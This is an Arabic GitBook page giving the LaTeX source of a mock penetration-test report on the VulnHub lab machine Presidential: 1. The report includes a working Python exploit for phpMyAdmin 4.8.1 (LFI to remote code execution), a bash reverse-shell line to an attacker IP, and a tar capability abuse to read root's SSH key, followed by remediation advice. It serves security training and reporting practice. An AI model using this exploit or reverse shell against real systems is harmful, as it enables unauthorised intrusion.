> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/useful-resources/reporting/report-1-presidential-writeup-latex.md).

# التقرير 1 - كتابة Presidential بـ LaTeX

{% hint style="warning" %}
هنا مثال على تقرير تقني احترافي، يحاكي أنني أعمل لدى Orange Cyberdefense، يتعلق بتدقيق بيئي وتدقيق للشركة "[الرئاسي](/ar/writeups-ctf/vulnhub/linux-vulnhub/presidential-1-vulnhub-writeup.md)". في هذا التحليل، استخدمت آلة VulnHub مُعدّة مسبقًا تحتوي على ثغرات ويب ومخاطر تجاوز الصلاحيات.

تمت كتابة التقرير باستخدام [LaTeX](https://www.overleaf.com/) البرنامج، المعروف بتعقيده التقني ولكن أيضًا بفائدته الكبيرة وقدرته على إنتاج تقارير ذات جودة احترافية مع حرية كبيرة في التخصيص. ستجد أدناه كود LaTeX وملف PDF الذي يوضح هذا المثال.
{% endhint %}

{% file src="/files/f8ba736506285510b8bbb8272813b4ceb4fa02f7" %}

<div data-full-width="false"><figure><img src="/files/27d4c448d13a5ef829914ef6d7f262ab3201b713" alt=""><figcaption></figcaption></figure></div>

<details>

<summary>إعداد البيئة لإنشاء ملفات PDF من LaTeX:</summary>

1. تحقق من التطبيق الافتراضي لملفات PDF:

```bash
xdg-mime query default application/pdf
```

2. اضبط التطبيق الافتراضي Zathura لملفات PDF:

```bash
xdg-mime default zathura.desktop application/pdf
```

3. أنشئ ملف .tex لوثيقتك:

```bash
touch presidential.tex
```

4. ترجمة الوثيقة:

```bash
latexmk -pdf presidential.tex -pvc
```

<img src="/files/45d4835a91bbee60660ca9786213684b70572137" alt="" data-size="original">

</details>

{% code fullWidth="true" %}

```latex
/documentclass[a4paper]{article}

% الحزم
/usepackage[utf8]{inputenc} % ترميز النص الخاص بك بصيغة UTF-8
/usepackage[english]{babel} % اللغة الإنجليزية
/usepackage[margin=2cm, top=2cm, includefoot]{geometry} % تخطيط الصفحة
/usepackage{graphicx} % لإدراج الصور
/usepackage[table,xcdraw]{xcolor} % الألوان
/usepackage{tikz,lipsum,lmodern} % الرسومات
/usepackage[most]{tcolorbox} % الصناديق المخصصة
/usepackage{fancyhdr} % الرؤوس والتذييلات
/usepackage[hidelinks]{hyperref} % الروابط التشعبية
/usepackage{setspace} % المسافة بين الأسطر
/usepackage{listings} % عرض الشيفرة المصدرية
/setstretch{1.2} % تباعد الأسطر
/usepackage{parskip} % تباعد الفقرات
/setlength{/parindent}{0pt} % بدون مسافة بادئة للفقرات
/setlength{/parskip}{0.8em plus 0.5em minus 0.2em} % تباعد الفقرات
/setlength{/parfillskip}{/parindent plus 1fill} % ضبط محاذاة النص
/usepackage[figurename=Figure]{caption} % تسمية الشكل
% ضبط محاذاة النص

% المتغيرات
/newcommand{/logoPortada}{Images/vulnhub.png}
/newcommand{/machineName}{الرئاسي: 1}
/newcommand{/logoMachine}{Images/casablanca.jpg}
/newcommand{/startDate}{21 فبراير 2024}
/newcommand{/logoCompany}{Images/orange-company.png}
/newcommand{/logoPlatform}{Images/platform-vulnhub.png}

% الألوان
/definecolor{bluePortada}{HTML}{146c8a}

% تخصيص العنوان
/addto/captionsenglish{/renewcommand{/contentsname}{المحتويات}}

% الرؤوس والتذييلات
/setlength{/headheight}{40.2pt}
/pagestyle{fancy}
/fancyhf{}
/lhead{/includegraphics[width=4cm]{/logoCompany}} % شعار الشركة إلى يسار الرأس
/rhead{/includegraphics[height=1.2cm]{/logoPlatform}} % شعار المنصة إلى يمين الرأس
/renewcommand{/headrulewidth}{3pt} % عرض خط الرأس
/renewcommand{/headrule}{/hbox to/headwidth{/color{orange}/leaders/hrule height /headrulewidth/hfill}} % لون خط الرأس

% تكوين تسميات الشيفرة المصدرية
/renewcommand{/lstlistingname}{الشيفرة}

% أنماط الشيفرة المصدرية
/definecolor{codegreen}{rgb}{0,0.6,0}
/definecolor{codegray}{rgb}{0.5,0.5,0.5}
/definecolor{codepurple}{rgb}{0.58,0,0.82}
/definecolor{backcolour}{rgb}{0.95,0.95,0.92}

/newtcolorbox{definicion}{
  قابل للكسر,
  مُحسَّن,
  colback=white,
  colframe=bluePortada!75!black,
  arc=0mm,
  boxrule=1pt,
  leftrule=12mm,
  fonttitle=/bfseries,
  coltitle=blue!75!black,
  title=تعريف,
  attach title to upper=/par,
}

/lstdefinestyle{mystyle}{
    backgroundcolor=/color{backcolour},   
    commentstyle=/color{codegreen}, % لون التعليق
    keywordstyle=/color{magenta}, % لون الكلمة المفتاحية
    numberstyle=/tiny/color{codegray}, % نمط أرقام الأسطر
    stringstyle=/color{codepurple}, % لون السلسلة النصية
    basicstyle=/ttfamily/footnotesize, % النمط الأساسي للنص
    breakatwhitespace=false,         
    breaklines=true,                 
    captionpos=b,                    
    keepspaces=true,                 
    numbers=left,                    
    numbersep=5pt,                  
    showspaces=false,                
    showstringspaces=false,
    showtabs=false,                  
    tabsize=2
}

/lstset{style=mystyle} % إعداد نمط عام للشيفرة

% بداية المستند
/begin{document}
/cfoot{/thepage} % تذييل مع رقم الصفحة
  /begin{titlepage} % صفحة العنوان
      /centering
      /includegraphics[width=0.5/textwidth]{/logoPortada}/par/vspace{1cm} % شعار صفحة العنوان
{/scshape/LARGE /textbf{تقرير تقني}/par/vspace{0.4cm}} % عنوان التقرير
{/Huge/textcolor{bluePortada}{/textbf{الآلة /machineName}}} % اسم الآلة
      /vfill
/includegraphics[width=/textwidth, height=10cm, keepaspectratio]{/logoMachine} % صورة الآلة
      /vfill
/begin{tcolorbox}[colback=red!5!white,colframe=red!75!black] % مربع الخصوصية
    /centering
هذه الوثيقة سرية وتحتوي على معلومات حساسة. // يجب عدم طباعتها أو مشاركتها مع أطراف ثالثة.
  /end{tcolorbox}
  /vfill
{/large /startDate/par} % تاريخ التقرير
  /vfill
  /end{titlepage}
% ------------------------------------------------------------------
% بداية جدول المحتويات
/clearpage
/tableofcontents % جدول المحتويات
/clearpage

/section{الخلفية}
تعرض هذه الوثيقة النتائج التي تم الحصول عليها خلال مرحلة التدقيق المنفذة على الآلة /textbf{/machineName}، مع سرد جميع مسارات الهجوم التي تم العثور عليها وكذلك الاستغلال المنفذ لكل منها.

تم تنزيل هذه الآلة من منصة /href{https://www.vulnhub.com/}{/textbf{/color{bluePortada}Vulnhub}}، وهي منصة تدريب وممارسة للأشخاص المهتمين بأمن الحاسوب والاختراق الأخلاقي. فيما يلي رابط تنزيل هذه الآلة:

/vspace{0.2cm}

/begin{tcolorbox}[enhanced,attach boxed title to top center={yshift=-3mm,yshifttext=-1mm},
colback=orange!5!,colframe=orange!75!black,colbacktitle=orange!80!black,
title=عنوان الهدف,fonttitle=/bfseries,
boxed title style={size=small,colframe=black!50!orange} ]
/centering
/href{https://www.vulnhub.com/entry/presidential-1,500/}{/textbf{/color{black}https://www.vulnhub.com/entry/presidential-1,500}}

/end{tcolorbox}

/vspace{0.5cm}

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/presidential-image.png}}
/caption{الصفحة الرئيسية لخدمة الويب الخاصة بالآلة}
/end{figure}
/vspace{1cm}
/section {الأهداف}
أهداف هذا التدقيق الأمني هي تحديد الثغرات والضعف المحتملين في الآلة /textbf{/color{bluePortada}/machineName}، بهدف ضمان سلامة وسرية المعلومات المخزنة فيها.

ومع أخذ ذلك في الاعتبار، أُجري تحليل شامل لجميع الخدمات المكتشفة والمكشوفة على هذا الخادم، مع جمع معلومات مفصلة عن تلك التي تمثل خطرًا محتملاً من منظور أمني.
/clearpage

/subsection{النطاق}

تُعرض أدناه الأهداف المطلوب تحقيقها في هذا التدقيق:

/begin{itemize}
/item تحديد المنافذ والخدمات الضعيفة.
/item استغلال الثغرات المحددة.
/item الحصول على وصول إلى الخادم من خلال استغلال الخدمات الضعيفة المحددة.
/item سرد المسارات المحتملة لرفع الامتيازات في النظام بمجرد اختراقه.
/end{itemize}

/subsection{القيود والحدود}

خلال عملية التدقيق، يُحظر تمامًا القيام بأي من الأنشطة التالية:

/begin{itemize}
/item تنفيذ مهام قد تؤدي إلى /textbf{حجب الخدمة} أو تؤثر في توافر الخدمات المكشوفة.
/item حذف الملفات الموجودة على الخادم بعد اختراقه.
/end{itemize}

/subsection{الملخص العام}

كشف هذا التدقيق عن العديد من الثغرات الأمنية المهمة التي تهدد سلامة وسرية المعلومات المستضافة على الخادم. من كشف ملفات النسخ الاحتياطي الحساسة إلى استغلال الثغرات الحرجة في phpMyAdmin، تبيّن أن الخادم عرضة لمختلف الهجمات.

كان تحديد النطاقات الفرعية، وحصر الخدمات المكشوفة، واستغلال لوحات المصادقة الضعيفة من نقاط الدخول الرئيسية للهجمات التي نُفذت خلال هذا التدقيق.

من الضروري اتخاذ إجراءات فورية لمعالجة هذه الثغرات والتخفيف من المخاطر الأمنية. ويوصى بشدة بتحديث phpMyAdmin إلى أحدث إصدار وتنفيذ تدابير أمنية إضافية مثل تقييد الوصول إلى الملفات الحساسة وتطبيق مرشحات إدخال مناسبة في تطبيقات الويب المكشوفة.

باختصار، يسلط هذا التدقيق الضوء على أهمية الحفاظ على موقف استباقي في أمن الأنظمة، من خلال إجراء تدقيقات دورية، وتطبيق التصحيحات الأمنية، واتباع أفضل ممارسات الأمن السيبراني لحماية الأصول الرقمية للمؤسسة.

/clearpage
/section{الاستطلاع}
/subsection{حصر الخدمات المكشوفة}
فيما يلي دليل على المنافذ والخدمات التي تم تحديدها أثناء الاستطلاع المنفذ باستخدام أداة /textbf{nmap}:
/vspace{0.3cm}

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/ports.png}}
/caption{حصر المنافذ باستخدام nmap}
/end{figure}

/vspace{0.3cm}
في هذه الحالة، تم تحديد منفذين نشطين باستخدام بروتوكول TCP:

/vspace{0.5cm}
/centering
/begin{tikzpicture}[node distance=2cm, every node/.style={rectangle, draw, fill=white}]

/node (center) {TCP};
/node (port1) [below left of=center, node distance=3cm] {المنفذ 80};
/node (port2) [below right of=center, node distance=3cm] {المنفذ 2082};
/draw (center) -- (port1);
/draw (center) -- (port2);

/end{tikzpicture}

/vspace{0.5cm}
/justifying

وبالمثل، لم يتم العثور على منافذ مكشوفة عبر بروتوكولات أخرى، لذا تُعطى الأولوية لتقييم المنافذ المحددة في الفحص الأول.

/clearpage
/subsection{حصر خوادم الويب}

فيما يلي النتائج التي تم الحصول عليها باستخدام أداة /textbf{WhatWeb}، وهي أداة استطلاع ويب تُستخدم لتحديد تقنيات الويب المحددة المستخدمة على موقع ويب، بعد إجراء استطلاع على خدمة HTTP التي تعمل على المنفذ 80.

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/makebox[/textwidth]{/fbox{/includegraphics[width=0.90/paperwidth]{Images/whatweb.png}}}
/caption{حصر خدمة HTTP على المنفذ 80}
/end{figure}

تجعل النتائج التي تم الحصول عليها من الممكن تحديد إصدارات بعض التقنيات الموجودة:

/vspace{0.4cm}

/centering
/begin{tabular}{ c | c }
/textbf{التقنية} & /textbf{الإصدار} //
/hline
PHP & 5.5.38 //
Apache & 2.4.6
/end{tabular}
/vspace{0.4cm}

/justifying

ومن بين المعلومات المقدمة، من الممكن أيضًا تحديد عنواني بريد إلكتروني، يمكن استخدامهما في هجمات /textbf{التصيد الاحتيالي}:

/vspace{0.3cm}
/begin{center}
/texttt{contact@example.com} /qquad /texttt{contact@votenow.local}
/end{center}

/textbf{التصيد الاحتيالي} هو نوع من الهجمات الحاسوبية يُستخدم لخداع الأفراد للحصول على معلومات سرية مثل كلمات المرور أو المعلومات المصرفية أو تفاصيل بطاقات الائتمان. يتم تنفيذ الهجوم عن طريق إرسال رسائل بريد إلكتروني أو رسائل نصية احتيالية تبدو شرعية وتطلب من المستلم تقديم معلومات شخصية وسرية.

بالإضافة إلى ذلك، أمكن أيضًا تحديد إصدار /textbf{Centos} النشط بفضل عملية استكشاف شاملة أُجريت على خدمة الويب باستخدام أداة /textbf{wig}.

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/wig-results.png}}
/caption{حصر خدمة HTTP على المنفذ 80}
/end{figure}
/clearpage

/subsection{حصر النطاقات الفرعية}
بعد تحديد النطاق '/textbf{votenow.local}' من خلال رسائل البريد الإلكتروني، نُفذ هجوم بالقوة الغاشمة على النطاق الرئيسي بهدف تحديد النطاقات الفرعية الصالحة.

بعد إكمال هجوم القوة الغاشمة، كانت هذه هي النتائج التي تم الحصول عليها:

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/subdomain.png}}
/caption{النطاقات الفرعية المحددة باستخدام Gobuster}
/label{fig:identifiedSubdomains}
/end{figure}

/vspace{0.3cm}
تم تحديد النطاق الفرعي '/textbf{datasafe.votenow.local}' كنطاق فرعي صالح. لعب هذا النطاق الفرعي دورًا حاسمًا في التدقيق، إذ تم من خلاله الحصول على وصول إلى النظام باستغلال ثغرة موجودة في /textbf{phpMyAdmin}.

يرجى ملاحظة أنه لكي تكون هذه النطاقات والنطاقات الفرعية قابلة للوصول، كان من الضروري إضافة المحتوى التالي إلى ملف '/textbf{/etc/hosts}':

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.8/textwidth]{Images/virtualHosting.png}}
/caption{محتويات ملف /etc/hosts}
/end{figure}
/vspace{0.3cm}
ويرجع ذلك إلى تطبيق '/textbf{الاستضافة الافتراضية}'، وهي تقنية تُستخدم على خوادم الويب لاستضافة عدة مواقع ويب على جهاز مادي واحد. ويُستخدم ملف '/textbf{/etc/hosts}' لربط اسم نطاق كل موقع ويب بعنوان IP الخاص بالخادم.

بدون هذا الربط، لن يتمكن خادم الويب من تحديد الموقع الصحيح الذي يجب تقديمه، مما يؤدي إلى حدوث خطأ أو عرض موقع ويب غير صحيح.
/clearpage
/subsection{حصر لوحات المصادقة}
بعد اكتشاف النطاق الفرعي '/textbf{datasafe.votenow.local}'، كما هو موضح في الصورة /ref{fig:identifiedSubdomains} في الصفحة /pageref{fig:identifiedSubdomains}، تم العثور على لوحة المصادقة التالية الخاصة بـ /textbf{phpMyAdmin}:

/vspace{0.3cm}

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/PhpMyAdmin.png}}
/caption{لوحة مصادقة phpMyAdmin}
/label{fig:PhpMyAdmin}
/end{figure}

/section{تحديد الثغرات واستغلالها}
/subsection{كشف ملف نسخ احتياطي}

خلال مرحلة الاستطلاع باستخدام أداة /textbf{gobuster}، وهي أداة سطر أوامر مفتوحة المصدر تُستخدم للبحث عن موارد الويب وحصرها على الخوادم والمواقع، تم تحديد ملف نسخ احتياطي مكشوف على الخادم:

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/BackUp.png}}
/caption{ملف النسخ الاحتياطي المكشوف على الخادم}
/end{figure}

/clearpage

تم رفع هذا الملف للتحقق مما إذا كان يحتوي على معلومات حساسة قد تشكل خطرًا أمنيًا. وفي هذه المرحلة، تبيّن أن الملف يحتوي على المعلومات المميزة التالية:

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/credentials.png}}
/caption{محتويات ملف BackUp للاعتمادات}
/end{figure}

تتوافق هذه المعرفات مع معرفات الوصول إلى قاعدة البيانات، والتي سمحت، بسبب إعادة استخدام اسم المستخدم وكلمة المرور، بالوصول إلى /textbf{phpMyAdmin} كما هو موضح في الصورة /ref{fig:phpMyAdmin} في الصفحة /pageref{fig:phpMyAdmin}.
/vspace{0.3cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/phpmyadminIN.png}}
/caption{الاتصال بواجهة تحكم phpMyAdmin}
/end{figure}

/clearpage
/subsection{استغلال phpMyAdmin}
بعد تسجيل الدخول إلى /textbf{phpMyAdmin}، أمكن تحديد الإصدار المستخدم حاليًا:

/vspace{0.3cm}

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.67/textwidth]{Images/versionPhpMyAdmin.png}}
/caption {الإصدار المستخدم من phpMyAdmin}
/end{figure}

/vspace{0.3cm}
هذا الإصدار يطابق /textbf{إصدارًا قديمًا} من phpMyAdmin، وبالتالي يكشف عن عدة /textbf{ثغرات حرجة} محددة:

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/searchExploit.png}}
/caption {الثغرات الخاصة بإصدار phpMyAdmin المستخدم}
/end{figure}


/clearpage
ومن بينها، قد يسمح أحدها لمهاجم خبيث /textbf{بتنفيذ تعليمات برمجية عن بُعد} على الخادم.

وفيما يلي سكربت Python3 الذي استُخدم لتنفيذ أوامر عن بُعد على الخادم:

/vspace{0.3cm}

/begin{lstlisting}[language=Python, caption=استغلال لإصدار phpMyAdmin الضعيف]
#!/usr/bin/python3

import re, requests, sys

def get_token(content):
  s = re.search('token"/s*value="(.*?)"', content)
  token = html.unescape(s.group(1))
  return token

ipaddr = sys.argv[1]
port = sys.argv[2]
path = sys.argv[3]
username = sys.argv[4]
password = sys.argv[5]
command = sys.argv[6]

url = "http://{}:{}{}".format(ipaddr,port,path)

url1 = url + "/index.php"
r = requests.get(url1)
content = r.content.decode('utf-8')

s = re.search('PMA_VERSION:"(/d+/./d+/./d+)"', content)
version = s.group(1)

cookies = r.cookies
token = get_token(content)

p = {'token': token, 'pma_username': username, 'pma_password': password}
r = requests.post(url1, cookies = cookies, data = p)
content = r.content.decode('utf-8')
s = re.search('logged_in:(/w+),', content)
logged_in = s.group(1)

cookies = r.cookies
token = get_token(content)

url2 = url + "/import.php"
payload = '''select '<?php system("{}") ?>';'''.format(command)
p = {'table':'', 'token': token, 'sql_query': payload }
r = requests.post(url2, cookies = cookies, data = p)

session_id = cookies.get_dict()['phpMyAdmin']
url3 = url + "/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_{}".format(session_id)
r = requests.get(url3, cookies = cookies)

content = r.content.decode('utf-8', errors="replace")
s = re.search("select '(.*?)/n'", content, re.DOTALL)
if s != None:
  print(s.group(1))
/end{lstlisting}

/clearpage
بمجرد تنفيذ وإدخال أمر يسمح بالدخول إلى النظام، تم الحصول على الوصول إلى الخادم:

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.85/textwidth]{Images/rce.png}}
/caption {الحصول على وصول إلى الخادم من خلال استغلال phpMyAdmin}
/end{figure}

في هذه الحالة، يُنفذ أمر عبر '/textbf{curl}'، مع تفسير سكربت Bash يحتوي على المحتوى التالي:

/vspace{0.3cm}
/begin{lstlisting}[language=Bash, caption=السكريبت Bash المسؤول عن إنشاء الاتصال]
bash -i >& /dev/tcp/192.168.71.128/443 0>&1
/end{lstlisting}

يستضيف هذا السكربت على خادم المهاجم، مما يتجنب ترك ملفات متبقية على الخادم الهدف. بمجرد تنفيذ الأمر، يحصل المهاجم على وصول إلى الخادم، ويحصل على التحكم في الآلة في هذه الحالة، كمستخدم '/textbf{apache}'.

كما يتضح من السكربت، فإن ما يحدث في الأساس هو أن السكربت يستغل ثغرة /textbf{LFI} الموجودة في هذا الإصدار من phpMyAdmin لتحقيق تنفيذ الأوامر عن بُعد:

/vspace{0.3cm}
/begin{lstlisting}[language=Python, caption=مقتطف شيفرة متعلق باستغلال LFI]
session_id = cookies.get_dict()['phpMyAdmin']
url3 = url + "/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_{}".format(session_id)
r = requests.get(url3, cookies = cookies)
/end{lstlisting}
/vspace{0.3cm}
/begin{definicion}
LFI (تضمين الملفات المحلية) هي ثغرة أمنية في تطبيقات الويب تسمح للمهاجم بالوصول إلى الملفات المحلية على الخادم من خلال تضمين ملفات محلية في صفحة ويب.
/end{definicion}
/clearpage

من خلال LFI، نحصل على معلومات حول مورد PHP يخزن الجلسات، ويمثل معلومات متعلقة بالجلسات النشطة المختلفة على جانب المستخدمين.

من خلال استغلال هذه القراءة وجلسة المستخدم نفسها، نستخدم /textbf{استعلام SQL} لإدراج استعلام يحتوي على شيفرة PHP، تكون مرئية من خلال ملفات جلسة المستخدم عبر LFI. وهذا يؤدي بالتالي إلى تنفيذ أوامر عن بُعد، لأن شيفرة PHP لا يفسرها الخادم.

/section{تصعيد الصلاحيات}
بمجرد اختراق النظام بالكامل، يصبح الهدف الرئيسي الآن هو الحصول على أعلى الصلاحيات الممكنة على الخادم. بهدف زيادة أذوناتنا والحصول على مزيد من التحكم والوصول إلى جميع الخدمات المكشوفة.
/subsection{الانتقال إلى المستخدم Administrator}
على الخادم، يوجد مستخدم Administrator ويبدو أنه مُهيأ جيدًا لأن لدينا /textbf{وصولًا مقيدًا} من مستخدم apache.
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.85/textwidth]{Images/directori-admin.png}}
/caption {تم رفض الوصول إلى دليل المنزل الخاص بالمسؤول}
/end{figure}

ومع ذلك، في قاعدة البيانات التي تم اختراقها سابقًا، يظهر كلمة مرور مجزأة لها نفس اسم المستخدم الخاص بذلك المستخدم. إن إعادة استخدام كلمات المرور لمستخدم واحد أمر خطير، وفي هذه الحالة سيؤدي إلى الانتقال المباشر إلى المستخدم.
/vspace{0.3cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/hash-password.png}}
/caption {كلمة المرور المجزأة المخزنة في قاعدة بيانات مستخدم المسؤول}
/end{figure}
/clearpage
/subsection{كسر كلمة المرور المجزأة المكشوفة للمستخدم admin}
بما أن كلمة المرور مجزأة، سنستخدم أداة '/textbf{john}' لكسر تجزئة كلمة مرور admin من أجل فك تشفيرها ورؤيتها كنص واضح. في هذه الحالة، استُخدم قاموس يحتوي على أكثر من عشرة ملايين توليفة مختلفة، وبما أن كلمة المرور ليست معقدة جدًا، استغرقت الأداة بضع دقائق لاختراقها وكشفها.
/vspace{0.2cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.80/textwidth]{Images/pass-cracked.png}}
/caption {كلمة المرور المفكوكة كنص واضح للمستخدم admin}
/end{figure}
/vspace{0.3cm}
/newline أصبح الانتقال إلى مستخدم admin ممكنًا بسبب /textbf{إعادة استخدام كلمة المرور نفسها} لمستخدم admin في كل من قاعدة البيانات ومستخدم النظام. وهذه ممارسة سيئة، ويوصى بأن تكون هناك كلمة مرور مختلفة لكل خدمة مختلفة لتجنب المشكلات الحرجة كما في هذه الحالة.
/vspace{0.2cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.80/textwidth]{Images/admin-access.png}}
/caption {الوصول إلى دليل المستخدم المميز admin}
/end{figure}
/clearpage
/subsection{ثغرة قدرات الصلاحيات التي تكشف مفتاح SSH}
/vspace{0.3cm}
/begin{definicion}
تُعد القدرات في Linux آلية أمان تمنح برامج محددة امتيازات خاصة، مما يسمح بإجراء عمليات مقيدة دون الحاجة إلى منح صلاحية root كاملة.
/end{definicion}
في هذه الحالة، تم العثور على إذن قدرة يسمح باستخدام أداة tarS لعرض جميع الملفات على النظام دون أي قواعد أو حجب، نظرًا لأن ذلك يتم من خلال مستخدم root. ومن خلال استغلال هذا الإذن، تم سرد /textbf{المفتاح الخاص SSH} لمستخدم root باستخدام الأمر التالي:

/vspace{0.3cm}
/begin{lstlisting}[language=Bash, caption=]
tarS -cvf id_rsa.tar /root/.ssh/id_rsa
/end{lstlisting}
/vspace{0.3cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/makebox[/textwidth]{/fbox{/includegraphics[width=0.50/paperwidth]{Images/ssh-clave.png}}}
/caption {المفتاح الخاص SSH لمستخدم root}
/end{figure}
/subsection{الوصول إلى جذر النظام}
في النهاية، تم الحصول على وصول إلى الآلة بصلاحيات root. وهناك حاجة ملحة لإزالة قدرة أداة tarS وإيجاد بديل لا يسمح بهذا التصعيد في الصلاحيات.
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/makebox[/textwidth]{/fbox{/includegraphics[width=0.60/paperwidth]{Images/flag-root.png}}}
/caption {الحصول على راية مستخدم root}
/end{figure}
/clearpage
/section{الإجراءات المضادة وأفضل الممارسات}

لتجنب أي استغلال غير مرغوب فيه على الخادم المكشوف، تُعرض أدناه أفضل الممارسات الواجب اتباعها بالنسبة للثغرات المختلفة المكتشفة.

/subsection{ثغرة phpMyAdmin 4.8.1}
phpMyAdmin أداة شائعة لإدارة قواعد بيانات MySQL عبر واجهة ويب. ومع ذلك، فإن الإصدار 4.8.1 من phpMyAdmin يحتوي على ثغرات معروفة يمكن أن تسمح للمهاجم بتنفيذ شيفرة عشوائية على خادم الويب الذي يستضيفه.

لإصلاح هذه الثغرة، من الضروري /textbf{التحديث} إلى أحدث إصدار من phpMyAdmin (الإصدار الحالي 5.2.1). وإذا تعذر لسبب ما التحديث إلى أحدث إصدار، فهناك بعض الخطوات التي يمكنك اتخاذها للتخفيف من خطر الاستغلال:
/begin{itemize}
/item تصحيح شيفرة السكربت '/textbf{index.php}' بحيث يتم التحكم بشكل صحيح في المتغير '/textbf{target}' المقدم من المستخدم.
/end{itemize}
/vspace{0.3cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.85/textwidth]{Images/lfi_in_code.png}}
/caption {معلمة الهدف الضعيفة}
/end{figure}

/begin{itemize}
/item بدلاً من السماح للمستخدم بتحديد أي ملف ليتم تضمينه، عرّف قائمة بالملفات المسموح بها وتحقق من أن القيمة الممررة إلى المعلمة '/textbf{target}' موجودة في القائمة قبل تضمين الملف.
/end{itemize}

/subsection{تصعيد الامتيازات عبر القدرات}
أولاً، أزل إمكانية أداة tarS. لإصلاح والتحقق مما إذا كانت خدمة أو أداة معرضة لهذا التصعيد في الامتيازات، يمكنك زيارة الموقع التالي الذي يحتوي على محرك بحث بكل الثغرات الممكنة في هذا الموضوع:
/vspace{0.3cm}

/begin{tcolorbox}[enhanced,attach boxed title to top center={yshift=-3mm,yshifttext=-1mm},
colback=orange!5!,colframe=orange!75!black,colbacktitle=orange!80!black,
title=عنوان الهدف,fonttitle=/bfseries,
boxed title style={size=small,colframe=black!50!orange} ]
/centering
/href{https://gtfobins.github.io/}{/textbf{/color{black}https://gtfobins.github.io}}
/end{tcolorbox}

/clearpage
/section{الاستنتاجات}
أظهر التدقيق الأمني الذي أُجري على آلة /textbf{Presidential: 1} سلسلة من الثغرات الحرجة التي كانت تهدد سلامة وسرية المعلومات المستضافة على الخادم. ومن كشف الملفات الحساسة إلى استغلال الثغرات في phpMyAdmin، برزت أهمية إبقاء جميع مكونات النظام محدثة واتباع ممارسات أمنية جيدة.

سمح الاستغلال الناجح للثغرة في phpMyAdmin للمهاجمين بالوصول إلى الخادم وتصعيد امتيازاتهم إلى المستخدم المدير، مما أدى إلى اختراق النظام بأكمله. وهذا يبرز أهمية تطبيق تدابير أمنية استباقية، مثل التحديث المنتظم للبرامج، والإدارة السليمة لكلمات المرور، والمراقبة المستمرة للخادم.

للحماية من الهجمات المستقبلية، يُوصى بشدة بتطبيق الإجراءات المضادة المذكورة سابقًا واتباع أفضل ممارسات الأمن السيبراني. يجب أن تكون الأمان مسألة دائمة وأولوية لضمان حماية الأصول الرقمية واستمرارية الأعمال.

/end{document}
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/useful-resources/reporting/report-1-presidential-writeup-latex.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
